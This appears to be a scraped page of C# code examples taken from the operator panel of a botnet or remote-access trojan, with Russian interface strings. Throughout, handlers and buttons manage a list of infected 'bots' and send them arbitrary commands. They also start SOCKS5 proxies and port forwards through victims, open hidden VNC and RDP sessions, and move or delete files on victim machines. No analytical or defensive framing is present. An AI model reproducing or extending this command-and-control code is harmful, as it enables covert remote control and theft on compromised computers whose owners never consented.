Example #1
0
        void GetPipeStreams(Socket sc, ClientBot bot)
        {
            string nameId;

            if (!GetString(sc, out nameId))
            {
                PutInt16(sc, 0);
            }
            else
            {
                StreamPipeInfo[] streams = bot.CM_GetPipeStreams(nameId);
                PutInt16(sc, (short)streams.Length);
                for (int i = 0; i < streams.Length; i++)
                {
                    if (!PutInt32(sc, (int)streams[i].id))
                    {
                        break;
                    }
                    if (!PutString(sc, streams[i].namePipe))
                    {
                        break;
                    }
                }
            }
        }
 private void btPortForward_Click(object sender, EventArgs e)
 {
     if (lvBots.SelectedItems.Count == 1)
     {
         ClientBot bot = (ClientBot)lvBots.SelectedItems[0].Tag;
         System.Text.RegularExpressions.Regex regex = new System.Text.RegularExpressions.Regex(@"\b(?:\d{1,3}\.){3}\d{1,3}:\d{1,5}\b");
         string port = string.Empty;
         if (regex.IsMatch(tbPortForward.Text))
         {
             port = tbPortForward.Text.Trim();
         }
         else
         {
             int v;
             if ((int.TryParse(tbPortForward.Text, out v)))
             {
                 port = "127.0.0.1:" + v.ToString();
             }
         }
         if (port.Length > 0)
         {
             bot.CreateTunnelOne(Sender.ID_PORTFORWARD, tbPortForward.Text.Trim(), Sender.ID_PORTFORWARD_ON_OFF, Encoding.ASCII.GetBytes(port));
         }
         else
         {
             MessageBox.Show("Вы не указали номер порта или неверно его ввели", "Ошибка");
         }
     }
 }
Example #3
0
        void SendFile(Socket sc, ClientBot bot)
        {
            int idStream;

            if (GetInt32(sc, out idStream))
            {
                string fileName;
                if (GetString(sc, out fileName))
                {
                    int sizeFile;
                    if (GetInt32(sc, out sizeFile))
                    {
                        short num;
                        if (GetInt16(sc, out num))
                        {
                            short state;
                            if (GetInt16(sc, out state))
                            {
                                short c_data;
                                if (GetInt16(sc, out c_data))
                                {
                                    byte[] data = new byte[c_data];
                                    if (GetBytes(sc, data, 0, c_data))
                                    {
                                        bot.CM_SendFile(idStream, fileName, sizeFile, num, state, c_data, data);
                                        PutInt16(sc, 1);                                         //оповещаем что данные отправлены
                                    }
                                }
                            }
                        }
                    }
                }
            }
        }
 void server_DelBotEvent(ClientBot bot)
 {
     lock (lockDelBot)
     {
         delBots.Add(bot);
     }
 }
 void server_AddBotEvent(ClientBot bot)
 {
     lock (lockAddBot)
     {
         addBots.Add(bot);
     }
 }
 private void btStartSocks5_Click(object sender, EventArgs e)
 {
     if (lvBots.SelectedItems.Count == 1)
     {
         ClientBot bot = (ClientBot)lvBots.SelectedItems[0].Tag;
         bot.CreateTunnelOne(Sender.ID_SOCKS, string.Empty, Sender.ID_SOCKS_ON_OFF, null);
     }
 }
 private void btRunRDP_Click(object sender, EventArgs e)
 {
     if (lvBots.SelectedItems.Count == 1)
     {
         ClientBot bot = (ClientBot)lvBots.SelectedItems[0].Tag;
         bot.CreateService(Sender.ID_RDP, null, "RDP", Encoding.ASCII.GetBytes("127.0.0.1:3389"));
     }
 }
 private void btComment_Click(object sender, EventArgs e)
 {
     if (lvBots.SelectedItems.Count == 1)
     {
         ClientBot bot = (ClientBot)lvBots.SelectedItems[0].Tag;
         bot.Comment = tbComment.Text.Trim();
     }
 }
 private void btOffBot_Click(object sender, EventArgs e)
 {
     if (lvBots.SelectedItems.Count == 1)
     {
         ClientBot bot = (ClientBot)lvBots.SelectedItems[0].Tag;
         bot.OffBot(1, 0);
     }
 }
 private void lvBots_SelectedIndexChanged(object sender, EventArgs e)
 {
     if (lvBots.SelectedItems.Count == 1)
     {
         ClientBot bot = (ClientBot)lvBots.SelectedItems[0].Tag;
         tbComment.Text = bot.Comment;
     }
 }
 private void btClosePortForward_Click(object sender, EventArgs e)
 {
     if (lvBots.SelectedItems.Count == 1)
     {
         ClientBot bot = (ClientBot)lvBots.SelectedItems[0].Tag;
         bot.CloseTunnelsOne();
         bot.ClosePortForward();
     }
 }
Example #12
0
        void SetBotGroup(Socket sc, ClientBot bot)
        {
            int id;

            if (GetInt32(sc, out id))
            {
                bot.IdGroup = id;
            }
        }
Example #13
0
        void SendCmd(Socket sc, ClientBot bot)
        {
            string s;

            if (!GetString(sc, out s))
            {
                return;
            }
            bot.SendCmdString(Sender.ID_CMD_BOT, s);
        }
Example #14
0
        void SetComment(Socket sc, ClientBot bot)
        {
            string s;

            if (!GetString(sc, out s))
            {
                return;
            }
            bot.Comment = s;
        }
Example #15
0
        void StartPortForward(Socket sc, ClientBot bot)
        {
            string port;

            if (!GetString(sc, out port))
            {
                return;
            }
            bot.CreateTunnelOne(Sender.ID_PORTFORWARD, port, Sender.ID_PORTFORWARD_ON_OFF, Encoding.ASCII.GetBytes(port));
        }
Example #16
0
        bool CloseStream(Socket sc, ClientBot bot)
        {
            int idStream;

            if (!GetInt32(sc, out idStream))
            {
                return(false);
            }
            bot.CM_CloseStream((uint)idStream);
            return(true);
        }
Example #17
0
        void OffBot(Socket sc, ClientBot bot)
        {
            int param, time;

            if (GetInt32(sc, out param))
            {
                if (GetInt32(sc, out time))
                {
                    bot.OffBot(param, time);
                }
            }
        }
Example #18
0
        bool JoinStream(Socket sc, ClientBot bot)
        {
            int idStream;

            if (!GetInt32(sc, out idStream))
            {
                return(false);
            }
            StreamSocket ss = new StreamSocket(sc);

            return(bot.AddStreamReceiver((uint)idStream, ss));
        }
Example #19
0
        bool CreateStream(Socket sc, ClientBot bot)
        {
            StreamProxy stream   = bot.CM_CreateStream();
            uint        idStream = 0;

            if (stream != null)
            {
                stream.AddReceiver(new StreamSocket(sc));
                idStream = stream.id;
            }
            return(PutInt32(sc, (int)idStream));
        }
Example #20
0
        void CreateFolder(Socket sc, ClientBot bot)
        {
            int idStream;

            if (GetInt32(sc, out idStream))
            {
                string path;
                if (GetString(sc, out path))
                {
                    bot.CM_CreateFolder(idStream, path);
                }
            }
        }
Example #21
0
        void GetFile(Socket sc, ClientBot bot)
        {
            int idStream;

            if (GetInt32(sc, out idStream))
            {
                string fileName;
                if (GetString(sc, out fileName))
                {
                    bot.CM_GetFile(idStream, fileName);
                }
            }
        }
Example #22
0
        void DelFile(Socket sc, ClientBot bot)
        {
            int idStream;

            if (GetInt32(sc, out idStream))
            {
                string path;
                if (GetString(sc, out path))
                {
                    bot.CM_DelFile(idStream, path);
                }
            }
        }
 private void btCmdBot_Click(object sender, EventArgs e)
 {
     if (lvBots.SelectedItems.Count == 1)
     {
         ClientBot bot = (ClientBot)lvBots.SelectedItems[0].Tag;
         string    s   = tbCmdBot.Text.Trim();
         if (s.Length > 0)
         {
             bot.SendCmdString(Sender.ID_CMD_BOT, s);
         }
         else
         {
             MessageBox.Show("Вы не ввели текст команды", "Ошибка");
         }
     }
 }
Example #24
0
 void GetStreams(Socket sc, ClientBot bot)
 {
     StreamInfo[] streams = bot.CM_GetStreams();
     PutInt16(sc, (short)streams.Length);
     for (int i = 0; i < streams.Length; i++)
     {
         if (!PutInt16(sc, (short)streams[i].type))
         {
             break;
         }
         if (!PutInt32(sc, (int)streams[i].id))
         {
             break;
         }
     }
 }
Example #25
0
        void StartHVNC(Socket sc, ClientBot bot)
        {
            short port;

            if (!GetInt16(sc, out port))
            {
                return;
            }
            if (port > 0)
            {
                bot.CreateService(Sender.ID_HVNC, BitConverter.GetBytes(port), "HVNC:" + port.ToString(), Encoding.ASCII.GetBytes("127.0.0.1:" + port.ToString()));
            }
            else
            {
                bot.CreateService(Sender.ID_HVNC, BitConverter.GetBytes(port), "HVNC", null);
            }
        }
Example #26
0
        void PutPipeData(Socket sc, ClientBot bot)
        {
            string namePipe;

            if (GetString(sc, out namePipe))
            {
                int count;
                if (GetInt32(sc, out count))
                {
                    byte[] data = new byte[count];
                    if (GetBytes(sc, data, 0, count))
                    {
                        bot.CM_PutPipeData(namePipe, data, count);
                    }
                }
            }
        }
 private void btRunVNC_Click(object sender, EventArgs e)
 {
     if (lvBots.SelectedItems.Count == 1)
     {
         ClientBot bot = (ClientBot)lvBots.SelectedItems[0].Tag;
         short     port;
         if (short.TryParse(tbVNCPort.Text, out port))
         {
             if (port > 0)
             {
                 bot.CreateService(Sender.ID_VNC, BitConverter.GetBytes(port), "VNC:" + port.ToString(), Encoding.ASCII.GetBytes("127.0.0.1:" + port.ToString()));
             }
             else
             {
                 bot.CreateService(Sender.ID_VNC, BitConverter.GetBytes(port), "VNC", null);
             }
         }
     }
 }
        private void timer_Tick(object sender, EventArgs e)
        {
            recvKb = 0; sendKb = 0;
            int n = 0;

            lock (lockDelBot)
            {
                if (delBots.Count > 0)
                {
                    while (n < lvBots.Items.Count)
                    {
                        ListViewItem lvi = lvBots.Items[n];
                        ClientBot    bot = (ClientBot)lvi.Tag;
                        if (delBots.Contains(bot))
                        {
                            lvBots.Items.RemoveAt(n);
                        }
                        else
                        {
                            n++;
                        }
                    }
                    delBots.Clear();
                }
            }

            for (int i = 0; i < lvBots.Items.Count; i++)
            {
                ListViewItem lvi = lvBots.Items[i];
                ClientBot    bot = (ClientBot)lvi.Tag;
                TimeSpan     ts  = DateTime.Now.Subtract(bot.DateStart);
                lvi.SubItems[clnElapsed.DisplayIndex].Text = ts.Hours.ToString("00") + ':' + ts.Minutes.ToString("00") + ':' + ts.Seconds.ToString("00");
                lvi.SubItems[clnPorts.DisplayIndex].Text   = bot.PortForward;
                lvi.SubItems[clnInfo.DisplayIndex].Text    = bot.Info;
                lvi.SubItems[clnComment.DisplayIndex].Text = bot.Comment;
                int recv = bot.RecvKBytes;
                int send = bot.SendKBytes;
                lvi.SubItems[clnRecv.DisplayIndex].Text = recv.ToString();
                recvKb += recv;
                sendKb += send;
                if (IsFilter(lvi))
                {
                    lvi.BackColor = Color.LightCoral;
                }
                else
                {
                    lvi.BackColor = lvBots.BackColor;
                }
            }

            lock (lockAddBot)
            {
                if (addBots.Count > 0)
                {
                    List <ClientBot> bots = new List <ClientBot>(); //боты которые еще рано добавлять в список, так как они еще не полностью предоставили инфу о себе
                    foreach (ClientBot bot in addBots)
                    {
                        if (bot.UID != null)
                        {
                            if (bot.IsWork)
                            {
                                ListViewItem lvi = lvBots.Items.Add(bot.UID);
                                lvi.Tag = bot;
                                lvi.SubItems.Add(bot.Info);
                                lvi.SubItems.Add(bot.Comment);
                                lvi.SubItems.Add(string.Empty);
                                lvi.SubItems.Add(bot.IP);
                                lvi.SubItems.Add(bot.DateStart.ToString("dd.MM.yyyy HH:mm"));
                                lvi.SubItems.Add(string.Empty);
                                int recv = bot.RecvKBytes;
                                int send = bot.SendKBytes;
                                lvi.SubItems.Add(recv.ToString());
                                recvKb += recv;
                                sendKb += send;
                            }
                        }
                        else
                        {
                            bots.Add(bot);
                        }
                    }
                    addBots = bots;
                }
            }
            UpdateElapsedServer();
            UpdateCount();
        }
Example #29
0
 void StartSocks5(Socket sc, ClientBot bot)
 {
     bot.CreateTunnelOne(Sender.ID_SOCKS, string.Empty, Sender.ID_SOCKS_ON_OFF, null);
 }
Example #30
0
 void StopCopy(Socket sc, ClientBot bot)
 {
     bot.CM_StopCopy();
 }